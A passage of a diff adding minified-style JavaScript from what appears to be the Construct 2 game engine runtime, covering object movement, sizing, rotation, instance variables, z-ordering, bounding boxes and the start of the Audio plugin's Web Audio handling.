+ this.x = newx;
+ this.y = newy;
+ this.set_bbox_changed();
+ }
+ };
+ acts.MoveForward = function (dist)
+ {
+ if (dist !== 0)
+ {
+ this.x += Math.cos(this.angle) * dist;
+ this.y += Math.sin(this.angle) * dist;
+ this.set_bbox_changed();
+ }
+ };
+ acts.MoveAtAngle = function (a, dist)
+ {
+ if (dist !== 0)
+ {
+ this.x += Math.cos(cr.to_radians(a)) * dist;
+ this.y += Math.sin(cr.to_radians(a)) * dist;
+ this.set_bbox_changed();
+ }
+ };
+ exps.X = function (ret)
+ {
+ ret.set_float(this.x);
+ };
+ exps.Y = function (ret)
+ {
+ ret.set_float(this.y);
+ };
+ exps.dt = function (ret)
+ {
+ ret.set_float(this.runtime.getDt(this));
+ };
+ }
+ if (size_aces)
+ {
+ cnds.CompareWidth = function (cmp, w)
+ {
+ return cr.do_cmp(this.width, cmp, w);
+ };
+ cnds.CompareHeight = function (cmp, h)
+ {
+ return cr.do_cmp(this.height, cmp, h);
+ };
+ acts.SetWidth = function (w)
+ {
+ if (this.width !== w)
+ {
+ this.width = w;
+ this.set_bbox_changed();
+ }
+ };
+ acts.SetHeight = function (h)
+ {
+ if (this.height !== h)
+ {
+ this.height = h;
+ this.set_bbox_changed();
+ }
+ };
+ acts.SetSize = function (w, h)
+ {
+ if (this.width !== w || this.height !== h)
+ {
+ this.width = w;
+ this.height = h;
+ this.set_bbox_changed();
+ }
+ };
+ exps.Width = function (ret)
+ {
+ ret.set_float(this.width);
+ };
+ exps.Height = function (ret)
+ {
+ ret.set_float(this.height);
+ };
+ exps.BBoxLeft = function (ret)
+ {
+ this.update_bbox();
+ ret.set_float(this.bbox.left);
+ };
+ exps.BBoxTop = function (ret)
+ {
+ this.update_bbox();
+ ret.set_float(this.bbox.top);
+ };
+ exps.BBoxRight = function (ret)
+ {
+ this.update_bbox();
+ ret.set_float(this.bbox.right);
+ };
+ exps.BBoxBottom = function (ret)
+ {
+ this.update_bbox();
+ ret.set_float(this.bbox.bottom);
+ };
+ }
+ if (angle_aces)
+ {
+ cnds.AngleWithin = function (within, a)
+ {
+ return cr.angleDiff(this.angle, cr.to_radians(a)) <= cr.to_radians(within);
+ };
+ cnds.IsClockwiseFrom = function (a)
+ {
+ return cr.angleClockwise(this.angle, cr.to_radians(a));
+ };
+ cnds.IsBetweenAngles = function (a, b)
+ {
+ var lower = cr.to_clamped_radians(a);
+ var upper = cr.to_clamped_radians(b);
+ var angle = cr.clamp_angle(this.angle);
+ var obtuse = (!cr.angleClockwise(upper, lower));
+ if (obtuse)
+ return !(!cr.angleClockwise(angle, lower) && cr.angleClockwise(angle, upper));
+ else
+ return cr.angleClockwise(angle, lower) && !cr.angleClockwise(angle, upper);
+ };
+ acts.SetAngle = function (a)
+ {
+ var newangle = cr.to_radians(cr.clamp_angle_degrees(a));
+ if (isNaN(newangle))
+ return;
+ if (this.angle !== newangle)
+ {
+ this.angle = newangle;
+ this.set_bbox_changed();
+ }
+ };
+ acts.RotateClockwise = function (a)
+ {
+ if (a !== 0 && !isNaN(a))
+ {
+ this.angle += cr.to_radians(a);
+ this.angle = cr.clamp_angle(this.angle);
+ this.set_bbox_changed();
+ }
+ };
+ acts.RotateCounterclockwise = function (a)
+ {
+ if (a !== 0 && !isNaN(a))
+ {
+ this.angle -= cr.to_radians(a);
+ this.angle = cr.clamp_angle(this.angle);
+ this.set_bbox_changed();
+ }
+ };
+ acts.RotateTowardAngle = function (amt, target)
+ {
+ var newangle = cr.angleRotate(this.angle, cr.to_radians(target), cr.to_radians(amt));
+ if (isNaN(newangle))
+ return;
+ if (this.angle !== newangle)
+ {
+ this.angle = newangle;
+ this.set_bbox_changed();
+ }
+ };
+ acts.RotateTowardPosition = function (amt, x, y)
+ {
+ var dx = x - this.x;
+ var dy = y - this.y;
+ var target = Math.atan2(dy, dx);
+ var newangle = cr.angleRotate(this.angle, target, cr.to_radians(amt));
+ if (isNaN(newangle))
+ return;
+ if (this.angle !== newangle)
+ {
+ this.angle = newangle;
+ this.set_bbox_changed();
+ }
+ };
+ acts.SetTowardPosition = function (x, y)
+ {
+ var dx = x - this.x;
+ var dy = y - this.y;
+ var newangle = Math.atan2(dy, dx);
+ if (isNaN(newangle))
+ return;
+ if (this.angle !== newangle)
+ {
+ this.angle = newangle;
+ this.set_bbox_changed();
+ }
+ };
+ exps.Angle = function (ret)
+ {
+ ret.set_float(cr.to_clamped_degrees(this.angle));
+ };
+ }
+ if (!singleglobal_)
+ {
+ cnds.CompareInstanceVar = function (iv, cmp, val)
+ {
+ return cr.do_cmp(this.instance_vars[iv], cmp, val);
+ };
+ cnds.IsBoolInstanceVarSet = function (iv)
+ {
+ return this.instance_vars[iv];
+ };
+ cnds.PickInstVarHiLow = function (which, iv)
+ {
+ var sol = this.getCurrentSol();
+ var instances = sol.getObjects();
+ if (!instances.length)
+ return false;
+ var inst = instances[0];
+ var pickme = inst;
+ var val = inst.instance_vars[iv];
+ var i, len, v;
+ for (i = 1, len = instances.length; i < len; i++)
+ {
+ inst = instances[i];
+ v = inst.instance_vars[iv];
+ if ((which === 0 && v < val) || (which === 1 && v > val))
+ {
+ val = v;
+ pickme = inst;
+ }
+ }
+ sol.pick_one(pickme);
+ return true;
+ };
+ cnds.PickByUID = function (u)
+ {
+ var i, len, j, inst, families, instances, sol;
+ var cnd = this.runtime.getCurrentCondition();
+ if (cnd.inverted)
+ {
+ sol = this.getCurrentSol();
+ if (sol.select_all)
+ {
+ sol.select_all = false;
+ cr.clearArray(sol.instances);
+ cr.clearArray(sol.else_instances);
+ instances = this.instances;
+ for (i = 0, len = instances.length; i < len; i++)
+ {
+ inst = instances[i];
+ if (inst.uid === u)
+ sol.else_instances.push(inst);
+ else
+ sol.instances.push(inst);
+ }
+ this.applySolToContainer();
+ return !!sol.instances.length;
+ }
+ else
+ {
+ for (i = 0, j = 0, len = sol.instances.length; i < len; i++)
+ {
+ inst = sol.instances[i];
+ sol.instances[j] = inst;
+ if (inst.uid === u)
+ {
+ sol.else_instances.push(inst);
+ }
+ else
+ j++;
+ }
+ cr.truncateArray(sol.instances, j);
+ this.applySolToContainer();
+ return !!sol.instances.length;
+ }
+ }
+ else
+ {
+ inst = this.runtime.getObjectByUID(u);
+ if (!inst)
+ return false;
+ sol = this.getCurrentSol();
+ if (!sol.select_all && sol.instances.indexOf(inst) === -1)
+ return false; // not picked
+ if (this.is_family)
+ {
+ families = inst.type.families;
+ for (i = 0, len = families.length; i < len; i++)
+ {
+ if (families[i] === this)
+ {
+ sol.pick_one(inst);
+ this.applySolToContainer();
+ return true;
+ }
+ }
+ }
+ else if (inst.type === this)
+ {
+ sol.pick_one(inst);
+ this.applySolToContainer();
+ return true;
+ }
+ return false;
+ }
+ };
+ cnds.OnCreated = function ()
+ {
+ return true;
+ };
+ cnds.OnDestroyed = function ()
+ {
+ return true;
+ };
+ acts.SetInstanceVar = function (iv, val)
+ {
+ var myinstvars = this.instance_vars;
+ if (cr.is_number(myinstvars[iv]))
+ {
+ if (cr.is_number(val))
+ myinstvars[iv] = val;
+ else
+ myinstvars[iv] = parseFloat(val);
+ }
+ else if (cr.is_string(myinstvars[iv]))
+ {
+ if (cr.is_string(val))
+ myinstvars[iv] = val;
+ else
+ myinstvars[iv] = val.toString();
+ }
+ else
+;
+ };
+ acts.AddInstanceVar = function (iv, val)
+ {
+ var myinstvars = this.instance_vars;
+ if (cr.is_number(myinstvars[iv]))
+ {
+ if (cr.is_number(val))
+ myinstvars[iv] += val;
+ else
+ myinstvars[iv] += parseFloat(val);
+ }
+ else if (cr.is_string(myinstvars[iv]))
+ {
+ if (cr.is_string(val))
+ myinstvars[iv] += val;
+ else
+ myinstvars[iv] += val.toString();
+ }
+ else
+;
+ };
+ acts.SubInstanceVar = function (iv, val)
+ {
+ var myinstvars = this.instance_vars;
+ if (cr.is_number(myinstvars[iv]))
+ {
+ if (cr.is_number(val))
+ myinstvars[iv] -= val;
+ else
+ myinstvars[iv] -= parseFloat(val);
+ }
+ else
+;
+ };
+ acts.SetBoolInstanceVar = function (iv, val)
+ {
+ this.instance_vars[iv] = val ? 1 : 0;
+ };
+ acts.ToggleBoolInstanceVar = function (iv)
+ {
+ this.instance_vars[iv] = 1 - this.instance_vars[iv];
+ };
+ acts.Destroy = function ()
+ {
+ this.runtime.DestroyInstance(this);
+ };
+ if (!acts.LoadFromJsonString)
+ {
+ acts.LoadFromJsonString = function (str_)
+ {
+ var o, i, len, binst;
+ try {
+ o = JSON.parse(str_);
+ }
+ catch (e) {
+ return;
+ }
+ this.runtime.loadInstanceFromJSON(this, o, true);
+ if (this.afterLoad)
+ this.afterLoad();
+ if (this.behavior_insts)
+ {
+ for (i = 0, len = this.behavior_insts.length; i < len; ++i)
+ {
+ binst = this.behavior_insts[i];
+ if (binst.afterLoad)
+ binst.afterLoad();
+ }
+ }
+ };
+ }
+ exps.Count = function (ret)
+ {
+ var count = ret.object_class.instances.length;
+ var i, len, inst;
+ for (i = 0, len = this.runtime.createRow.length; i < len; i++)
+ {
+ inst = this.runtime.createRow[i];
+ if (ret.object_class.is_family)
+ {
+ if (inst.type.families.indexOf(ret.object_class) >= 0)
+ count++;
+ }
+ else
+ {
+ if (inst.type === ret.object_class)
+ count++;
+ }
+ }
+ ret.set_int(count);
+ };
+ exps.PickedCount = function (ret)
+ {
+ ret.set_int(ret.object_class.getCurrentSol().getObjects().length);
+ };
+ exps.UID = function (ret)
+ {
+ ret.set_int(this.uid);
+ };
+ exps.IID = function (ret)
+ {
+ ret.set_int(this.get_iid());
+ };
+ if (!exps.AsJSON)
+ {
+ exps.AsJSON = function (ret)
+ {
+ ret.set_string(JSON.stringify(this.runtime.saveInstanceToJSON(this, true)));
+ };
+ }
+ }
+ if (appearance_aces)
+ {
+ cnds.IsVisible = function ()
+ {
+ return this.visible;
+ };
+ acts.SetVisible = function (v)
+ {
+ if (!v !== !this.visible)
+ {
+ this.visible = !!v;
+ this.runtime.redraw = true;
+ }
+ };
+ cnds.CompareOpacity = function (cmp, x)
+ {
+ return cr.do_cmp(cr.round6dp(this.opacity * 100), cmp, x);
+ };
+ acts.SetOpacity = function (x)
+ {
+ var new_opacity = x / 100.0;
+ if (new_opacity < 0)
+ new_opacity = 0;
+ else if (new_opacity > 1)
+ new_opacity = 1;
+ if (new_opacity !== this.opacity)
+ {
+ this.opacity = new_opacity;
+ this.runtime.redraw = true;
+ }
+ };
+ exps.Opacity = function (ret)
+ {
+ ret.set_float(cr.round6dp(this.opacity * 100.0));
+ };
+ }
+ if (zorder_aces)
+ {
+ cnds.IsOnLayer = function (layer_)
+ {
+ if (!layer_)
+ return false;
+ return this.layer === layer_;
+ };
+ cnds.PickTopBottom = function (which_)
+ {
+ var sol = this.getCurrentSol();
+ var instances = sol.getObjects();
+ if (!instances.length)
+ return false;
+ var inst = instances[0];
+ var pickme = inst;
+ var i, len;
+ for (i = 1, len = instances.length; i < len; i++)
+ {
+ inst = instances[i];
+ if (which_ === 0)
+ {
+ if (inst.layer.index > pickme.layer.index || (inst.layer.index === pickme.layer.index && inst.get_zindex() > pickme.get_zindex()))
+ {
+ pickme = inst;
+ }
+ }
+ else
+ {
+ if (inst.layer.index < pickme.layer.index || (inst.layer.index === pickme.layer.index && inst.get_zindex() < pickme.get_zindex()))
+ {
+ pickme = inst;
+ }
+ }
+ }
+ sol.pick_one(pickme);
+ return true;
+ };
+ acts.MoveToTop = function ()
+ {
+ var layer = this.layer;
+ var layer_instances = layer.instances;
+ if (layer_instances.length && layer_instances[layer_instances.length - 1] === this)
+ return; // is already at top
+ layer.removeFromInstanceList(this, false);
+ layer.appendToInstanceList(this, false);
+ this.runtime.redraw = true;
+ };
+ acts.MoveToBottom = function ()
+ {
+ var layer = this.layer;
+ var layer_instances = layer.instances;
+ if (layer_instances.length && layer_instances[0] === this)
+ return; // is already at bottom
+ layer.removeFromInstanceList(this, false);
+ layer.prependToInstanceList(this, false);
+ this.runtime.redraw = true;
+ };
+ acts.MoveToLayer = function (layerMove)
+ {
+ if (!layerMove || layerMove == this.layer)
+ return;
+ this.layer.removeFromInstanceList(this, true);
+ this.layer = layerMove;
+ layerMove.appendToInstanceList(this, true);
+ this.runtime.redraw = true;
+ };
+ acts.ZMoveToObject = function (where_, obj_)
+ {
+ var isafter = (where_ === 0);
+ if (!obj_)
+ return;
+ var other = obj_.getFirstPicked(this);
+ if (!other || other.uid === this.uid)
+ return;
+ if (this.layer.index !== other.layer.index)
+ {
+ this.layer.removeFromInstanceList(this, true);
+ this.layer = other.layer;
+ other.layer.appendToInstanceList(this, true);
+ }
+ this.layer.moveInstanceAdjacent(this, other, isafter);
+ this.runtime.redraw = true;
+ };
+ exps.LayerNumber = function (ret)
+ {
+ ret.set_int(this.layer.number);
+ };
+ exps.LayerName = function (ret)
+ {
+ ret.set_string(this.layer.name);
+ };
+ exps.ZIndex = function (ret)
+ {
+ ret.set_int(this.get_zindex());
+ };
+ }
+ if (effects_aces)
+ {
+ acts.SetEffectEnabled = function (enable_, effectname_)
+ {
+ if (!this.runtime.glwrap)
+ return;
+ var i = this.type.getEffectIndexByName(effectname_);
+ if (i < 0)
+ return; // effect name not found
+ var enable = (enable_ === 1);
+ if (this.active_effect_flags[i] === enable)
+ return; // no change
+ this.active_effect_flags[i] = enable;
+ this.updateActiveEffects();
+ this.runtime.redraw = true;
+ };
+ acts.SetEffectParam = function (effectname_, index_, value_)
+ {
+ if (!this.runtime.glwrap)
+ return;
+ var i = this.type.getEffectIndexByName(effectname_);
+ if (i < 0)
+ return; // effect name not found
+ var et = this.type.effect_types[i];
+ var params = this.effect_params[i];
+ index_ = Math.floor(index_);
+ if (index_ < 0 || index_ >= params.length)
+ return; // effect index out of bounds
+ if (this.runtime.glwrap.getProgramParameterType(et.shaderindex, index_) === 1)
+ value_ /= 100.0;
+ if (params[index_] === value_)
+ return; // no change
+ params[index_] = value_;
+ if (et.active)
+ this.runtime.redraw = true;
+ };
+ }
+ };
+ cr.set_bbox_changed = function ()
+ {
+ this.bbox_changed = true; // will recreate next time box requested
+ this.cell_changed = true;
+ this.type.any_cell_changed = true; // avoid unnecessary updateAllBBox() calls
+ this.runtime.redraw = true; // assume runtime needs to redraw
+ var i, len, callbacks = this.bbox_changed_callbacks;
+ for (i = 0, len = callbacks.length; i < len; ++i)
+ {
+ callbacks[i](this);
+ }
+ if (this.layer.useRenderCells)
+ this.update_bbox();
+ };
+ cr.add_bbox_changed_callback = function (f)
+ {
+ if (f)
+ {
+ this.bbox_changed_callbacks.push(f);
+ }
+ };
+ cr.update_bbox = function ()
+ {
+ if (!this.bbox_changed)
+ return; // bounding box not changed
+ var bbox = this.bbox;
+ var bquad = this.bquad;
+ bbox.set(this.x, this.y, this.x + this.width, this.y + this.height);
+ bbox.offset(-this.hotspotX * this.width, -this.hotspotY * this.height);
+ if (!this.angle)
+ {
+ bquad.set_from_rect(bbox); // make bounding quad from box
+ }
+ else
+ {
+ bbox.offset(-this.x, -this.y); // translate to origin
+ bquad.set_from_rotated_rect(bbox, this.angle); // rotate around origin
+ bquad.offset(this.x, this.y); // translate back to original position
+ bquad.bounding_box(bbox);
+ }
+ bbox.normalize();
+ this.bbox_changed = false; // bounding box up to date
+ this.update_render_cell();
+ };
+ var tmprc = new cr.rect(0, 0, 0, 0);
+ cr.update_render_cell = function ()
+ {
+ if (!this.layer.useRenderCells)
+ return;
+ var mygrid = this.layer.render_grid;
+ var bbox = this.bbox;
+ tmprc.set(mygrid.XToCell(bbox.left), mygrid.YToCell(bbox.top), mygrid.XToCell(bbox.right), mygrid.YToCell(bbox.bottom));
+ if (this.rendercells.equals(tmprc))
+ return;
+ if (this.rendercells.right < this.rendercells.left)
+ mygrid.update(this, null, tmprc); // first insertion with invalid rect: don't provide old range
+ else
+ mygrid.update(this, this.rendercells, tmprc);
+ this.rendercells.copy(tmprc);
+ this.layer.render_list_stale = true;
+ };
+ cr.update_collision_cell = function ()
+ {
+ if (!this.cell_changed || !this.collisionsEnabled)
+ return;
+ this.update_bbox();
+ var mygrid = this.type.collision_grid;
+ var bbox = this.bbox;
+ tmprc.set(mygrid.XToCell(bbox.left), mygrid.YToCell(bbox.top), mygrid.XToCell(bbox.right), mygrid.YToCell(bbox.bottom));
+ if (this.collcells.equals(tmprc))
+ return;
+ if (this.collcells.right < this.collcells.left)
+ mygrid.update(this, null, tmprc); // first insertion with invalid rect: don't provide old range
+ else
+ mygrid.update(this, this.collcells, tmprc);
+ this.collcells.copy(tmprc);
+ this.cell_changed = false;
+ };
+ cr.inst_contains_pt = function (x, y)
+ {
+ if (!this.bbox.contains_pt(x, y))
+ return false;
+ if (!this.bquad.contains_pt(x, y))
+ return false;
+ if (this.tilemap_exists)
+ return this.testPointOverlapTile(x, y);
+ if (this.collision_poly && !this.collision_poly.is_empty())
+ {
+ this.collision_poly.cache_poly(this.width, this.height, this.angle);
+ return this.collision_poly.contains_pt(x - this.x, y - this.y);
+ }
+ else
+ return true;
+ };
+ cr.inst_get_iid = function ()
+ {
+ this.type.updateIIDs();
+ return this.iid;
+ };
+ cr.inst_get_zindex = function ()
+ {
+ this.layer.updateZIndices();
+ return this.zindex;
+ };
+ cr.inst_updateActiveEffects = function ()
+ {
+ cr.clearArray(this.active_effect_types);
+ var i, len, et;
+ var preserves_opaqueness = true;
+ for (i = 0, len = this.active_effect_flags.length; i < len; i++)
+ {
+ if (this.active_effect_flags[i])
+ {
+ et = this.type.effect_types[i];
+ this.active_effect_types.push(et);
+ if (!et.preservesOpaqueness)
+ preserves_opaqueness = false;
+ }
+ }
+ this.uses_shaders = !!this.active_effect_types.length;
+ this.shaders_preserve_opaqueness = preserves_opaqueness;
+ };
+ cr.inst_toString = function ()
+ {
+ return "Inst" + this.puid;
+ };
+ cr.type_getFirstPicked = function (frominst)
+ {
+ if (frominst && frominst.is_contained && frominst.type != this)
+ {
+ var i, len, s;
+ for (i = 0, len = frominst.siblings.length; i < len; i++)
+ {
+ s = frominst.siblings[i];
+ if (s.type == this)
+ return s;
+ }
+ }
+ var instances = this.getCurrentSol().getObjects();
+ if (instances.length)
+ return instances[0];
+ else
+ return null;
+ };
+ cr.type_getPairedInstance = function (inst)
+ {
+ var instances = this.getCurrentSol().getObjects();
+ if (instances.length)
+ return instances[inst.get_iid() % instances.length];
+ else
+ return null;
+ };
+ cr.type_updateIIDs = function ()
+ {
+ if (!this.stale_iids || this.is_family)
+ return; // up to date or is family - don't want family to overwrite IIDs
+ var i, len;
+ for (i = 0, len = this.instances.length; i < len; i++)
+ this.instances[i].iid = i;
+ var next_iid = i;
+ var createRow = this.runtime.createRow;
+ for (i = 0, len = createRow.length; i < len; ++i)
+ {
+ if (createRow[i].type === this)
+ createRow[i].iid = next_iid++;
+ }
+ this.stale_iids = false;
+ };
+ cr.type_getInstanceByIID = function (i)
+ {
+ if (i < this.instances.length)
+ return this.instances[i];
+ i -= this.instances.length;
+ var createRow = this.runtime.createRow;
+ var j, lenj;
+ for (j = 0, lenj = createRow.length; j < lenj; ++j)
+ {
+ if (createRow[j].type === this)
+ {
+ if (i === 0)
+ return createRow[j];
+ --i;
+ }
+ }
+;
+ return null;
+ };
+ cr.type_getCurrentSol = function ()
+ {
+ return this.solstack[this.cur_sol];
+ };
+ cr.type_pushCleanSol = function ()
+ {
+ this.cur_sol++;
+ if (this.cur_sol === this.solstack.length)
+ {
+ this.solstack.push(new cr.selection(this));
+ }
+ else
+ {
+ this.solstack[this.cur_sol].select_all = true; // else clear next SOL
+ cr.clearArray(this.solstack[this.cur_sol].else_instances);
+ }
+ };
+ cr.type_pushCopySol = function ()
+ {
+ this.cur_sol++;
+ if (this.cur_sol === this.solstack.length)
+ this.solstack.push(new cr.selection(this));
+ var clonesol = this.solstack[this.cur_sol];
+ var prevsol = this.solstack[this.cur_sol - 1];
+ if (prevsol.select_all)
+ {
+ clonesol.select_all = true;
+ }
+ else
+ {
+ clonesol.select_all = false;
+ cr.shallowAssignArray(clonesol.instances, prevsol.instances);
+ }
+ cr.clearArray(clonesol.else_instances);
+ };
+ cr.type_popSol = function ()
+ {
+;
+ this.cur_sol--;
+ };
+ cr.type_getBehaviorByName = function (behname)
+ {
+ var i, len, j, lenj, f, index = 0;
+ if (!this.is_family)
+ {
+ for (i = 0, len = this.families.length; i < len; i++)
+ {
+ f = this.families[i];
+ for (j = 0, lenj = f.behaviors.length; j < lenj; j++)
+ {
+ if (behname === f.behaviors[j].name)
+ {
+ this.extra["lastBehIndex"] = index;
+ return f.behaviors[j];
+ }
+ index++;
+ }
+ }
+ }
+ for (i = 0, len = this.behaviors.length; i < len; i++) {
+ if (behname === this.behaviors[i].name)
+ {
+ this.extra["lastBehIndex"] = index;
+ return this.behaviors[i];
+ }
+ index++;
+ }
+ return null;
+ };
+ cr.type_getBehaviorIndexByName = function (behname)
+ {
+ var b = this.getBehaviorByName(behname);
+ if (b)
+ return this.extra["lastBehIndex"];
+ else
+ return -1;
+ };
+ cr.type_getEffectIndexByName = function (name_)
+ {
+ var i, len;
+ for (i = 0, len = this.effect_types.length; i < len; i++)
+ {
+ if (this.effect_types[i].name === name_)
+ return i;
+ }
+ return -1;
+ };
+ cr.type_applySolToContainer = function ()
+ {
+ if (!this.is_contained || this.is_family)
+ return;
+ var i, len, j, lenj, t, sol, sol2;
+ this.updateIIDs();
+ sol = this.getCurrentSol();
+ var select_all = sol.select_all;
+ var es = this.runtime.getCurrentEventStack();
+ var orblock = es && es.current_event && es.current_event.orblock;
+ for (i = 0, len = this.container.length; i < len; i++)
+ {
+ t = this.container[i];
+ if (t === this)
+ continue;
+ t.updateIIDs();
+ sol2 = t.getCurrentSol();
+ sol2.select_all = select_all;
+ if (!select_all)
+ {
+ cr.clearArray(sol2.instances);
+ for (j = 0, lenj = sol.instances.length; j < lenj; ++j)
+ sol2.instances[j] = t.getInstanceByIID(sol.instances[j].iid);
+ if (orblock)
+ {
+ cr.clearArray(sol2.else_instances);
+ for (j = 0, lenj = sol.else_instances.length; j < lenj; ++j)
+ sol2.else_instances[j] = t.getInstanceByIID(sol.else_instances[j].iid);
+ }
+ }
+ }
+ };
+ cr.type_toString = function ()
+ {
+ return "Type" + this.sid;
+ };
+ cr.do_cmp = function (x, cmp, y)
+ {
+ if (typeof x === "undefined" || typeof y === "undefined")
+ return false;
+ switch (cmp)
+ {
+ case 0: // equal
+ return x === y;
+ case 1: // not equal
+ return x !== y;
+ case 2: // less
+ return x < y;
+ case 3: // less/equal
+ return x <= y;
+ case 4: // greater
+ return x > y;
+ case 5: // greater/equal
+ return x >= y;
+ default:
+;
+ return false;
+ }
+ };
+})();
+cr.shaders = {};
+;
+;
+cr.plugins_.Audio = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var pluginProto = cr.plugins_.Audio.prototype;
+ pluginProto.Type = function(plugin)
+ {
+ this.plugin = plugin;
+ this.runtime = plugin.runtime;
+ };
+ var typeProto = pluginProto.Type.prototype;
+ typeProto.onCreate = function()
+ {
+ };
+ var audRuntime = null;
+ var audInst = null;
+ var audTag = "";
+ var appPath = ""; // for Cordova only
+ var API_HTML5 = 0;
+ var API_WEBAUDIO = 1;
+ var API_CORDOVA = 2;
+ var API_APPMOBI = 3;
+ var api = API_HTML5;
+ var context = null;
+ var audioBuffers = []; // cache of buffers
+ var audioInstances = []; // cache of instances
+ var lastAudio = null;
+ var useOgg = false; // determined at create time
+ var timescale_mode = 0;
+ var silent = false;
+ var masterVolume = 1;
+ var listenerX = 0;
+ var listenerY = 0;
+ var isContextSuspended = false;
+ var panningModel = 1; // HRTF
+ var distanceModel = 1; // Inverse
+ var refDistance = 10;
+ var maxDistance = 10000;
+ var rolloffFactor = 1;
+ var micSource = null;
+ var micTag = "";
+ var useNextTouchWorkaround = false; // heuristic in case play() does not return a promise and we have to guess if the play was blocked
+ var playOnNextInput = []; // C2AudioInstances with HTMLAudioElements to play on next input event
+ var playMusicAsSoundWorkaround = false; // play music tracks with Web Audio API
+ var hasPlayedDummyBuffer = false; // dummy buffer played to unblock AudioContext on some platforms
+ function addAudioToPlayOnNextInput(a)
+ {
+ var i = playOnNextInput.indexOf(a);
+ if (i === -1)
+ playOnNextInput.push(a);
+ };
+ function tryPlayAudioElement(a)
+ {
+ var audioElem = a.instanceObject;
+ var playRet;
+ try {
+ playRet = audioElem.play();
+ }
+ catch (err) {
+ addAudioToPlayOnNextInput(a);
+ return;
+ }
+ if (playRet) // promise was returned
+ {
+ playRet.catch(function (err)
+ {
+ addAudioToPlayOnNextInput(a);
+ });
+ }
+ else if (useNextTouchWorkaround && !audRuntime.isInUserInputEvent)
+ {
+ addAudioToPlayOnNextInput(a);
+ }
+ };
+ function playQueuedAudio()
+ {
+ var i, len, m, playRet;
+ if (!hasPlayedDummyBuffer && !isContextSuspended && context)
+ {
+ playDummyBuffer();
+ if (context["state"] === "running")
+ hasPlayedDummyBuffer = true;
+ }
+ var tryPlay = playOnNextInput.slice(0);
+ cr.clearArray(playOnNextInput);
+ if (!silent)
+ {
+ for (i = 0, len = tryPlay.length; i < len; ++i)
+ {
+ m = tryPlay[i];
+ if (!m.stopped && !m.is_paused)
+ {
+ playRet = m.instanceObject.play();
+ if (playRet)
+ {
+ playRet.catch(function (err)
+ {
+ addAudioToPlayOnNextInput(m);
+ });
+ }
+ }
+ }
+ }
+ };
+ function playDummyBuffer()
+ {
+ if (context["state"] === "suspended" && context["resume"])
+ context["resume"]();
+ if (!context["createBuffer"])
+ return;
+ var buffer = context["createBuffer"](1, 220, 22050);
+ var source = context["createBufferSource"]();
+ source["buffer"] = buffer;
+ source["connect"](context["destination"]);
+ startSource(source);
+ };
+ document.addEventListener("pointerup", playQueuedAudio, true);
+ document.addEventListener("touchend", playQueuedAudio, true);
+ document.addEventListener("click", playQueuedAudio, true);
+ document.addEventListener("keydown", playQueuedAudio, true);
+ document.addEventListener("gamepadconnected", playQueuedAudio, true);
+ function dbToLinear(x)
+ {
+ var v = dbToLinear_nocap(x);
+ if (!isFinite(v)) // accidentally passing a string can result in NaN; set volume to 0 if so
+ v = 0;
+ if (v < 0)
+ v = 0;
+ if (v > 1)
+ v = 1;
+ return v;
+ };
+ function linearToDb(x)
+ {
+ if (x < 0)
+ x = 0;
+ if (x > 1)
+ x = 1;
+ return linearToDb_nocap(x);
+ };
+ function dbToLinear_nocap(x)
+ {
+ return Math.pow(10, x / 20);
+ };
+ function linearToDb_nocap(x)
+ {
+ return (Math.log(x) / Math.log(10)) * 20;
+ };
+ var effects = {};
+ function getDestinationForTag(tag)
+ {
+ tag = tag.toLowerCase();
+ if (effects.hasOwnProperty(tag))
+ {
+ if (effects[tag].length)
+ return effects[tag][0].getInputNode();
+ }
+ return context["destination"];
+ };
+ function createGain()
+ {
+ if (context["createGain"])
+ return context["createGain"]();
+ else
+ return context["createGainNode"]();
+ };
+ function createDelay(d)
+ {
+ if (context["createDelay"])
+ return context["createDelay"](d);
+ else
+ return context["createDelayNode"](d);
+ };
+ function startSource(s, scheduledTime)
+ {
+ if (s["start"])
+ s["start"](scheduledTime || 0);
+ else
+ s["noteOn"](scheduledTime || 0);
+ };
+ function startSourceAt(s, x, d, scheduledTime)
+ {
+ if (s["start"])
+ s["start"](scheduledTime || 0, x);
+ else
+ s["noteGrainOn"](scheduledTime || 0, x, d - x);
+ };
+ function stopSource(s)
+ {
+ try {
+ if (s["stop"])
+ s["stop"](0);
+ else
+ s["noteOff"](0);
+ }
+ catch (e) {}
+ };
+ function setAudioParam(ap, value, ramp, time)
+ {
+ if (!ap)
+ return; // iOS is missing some parameters
+ ap["cancelScheduledValues"](0);
+ if (time === 0)
+ {
+ ap["value"] = value;
+ return;
+ }
+ var curTime = context["currentTime"];
+ time += curTime;
+ switch (ramp) {
+ case 0: // step
+ ap["setValueAtTime"](value, time);
+ break;
+ case 1: // linear
+ ap["setValueAtTime"](ap["value"], curTime); // to set what to ramp from
+ ap["linearRampToValueAtTime"](value, time);
+ break;
+ case 2: // exponential
+ ap["setValueAtTime"](ap["value"], curTime); // to set what to ramp from
+ ap["exponentialRampToValueAtTime"](value, time);
+ break;
+ }
+ };
+ var filterTypes = ["lowpass", "highpass", "bandpass", "lowshelf", "highshelf", "peaking", "notch", "allpass"];
+ function FilterEffect(type, freq, detune, q, gain, mix)
+ {
+ this.type = "filter";
+ this.params = [type, freq, detune, q, gain, mix];
+ this.inputNode = createGain();
+ this.wetNode = createGain();
+ this.wetNode["gain"]["value"] = mix;
+ this.dryNode = createGain();
+ this.dryNode["gain"]["value"] = 1 - mix;
+ this.filterNode = context["createBiquadFilter"]();
+ if (typeof this.filterNode["type"] === "number")
+ this.filterNode["type"] = type;
+ else
+ this.filterNode["type"] = filterTypes[type];
+ this.filterNode["frequency"]["value"] = freq;
+ if (this.filterNode["detune"]) // iOS 6 doesn't have detune yet
+ this.filterNode["detune"]["value"] = detune;
+ this.filterNode["Q"]["value"] = q;
+ this.filterNode["gain"]["value"] = gain;
+ this.inputNode["connect"](this.filterNode);
+ this.inputNode["connect"](this.dryNode);
+ this.filterNode["connect"](this.wetNode);
+ };
+ FilterEffect.prototype.connectTo = function (node)
+ {
+ this.wetNode["disconnect"]();
+ this.wetNode["connect"](node);
+ this.dryNode["disconnect"]();
+ this.dryNode["connect"](node);
+ };
+ FilterEffect.prototype.remove = function ()
+ {
+ this.inputNode["disconnect"]();
+ this.filterNode["disconnect"]();
+ this.wetNode["disconnect"]();
+ this.dryNode["disconnect"]();
+ };
+ FilterEffect.prototype.getInputNode = function ()
+ {
+ return this.inputNode;
+ };
+ FilterEffect.prototype.setParam = function(param, value, ramp, time)
+ {
+ switch (param) {
+ case 0: // mix
+ value = value / 100;
+ if (value < 0) value = 0;
+ if (value > 1) value = 1;
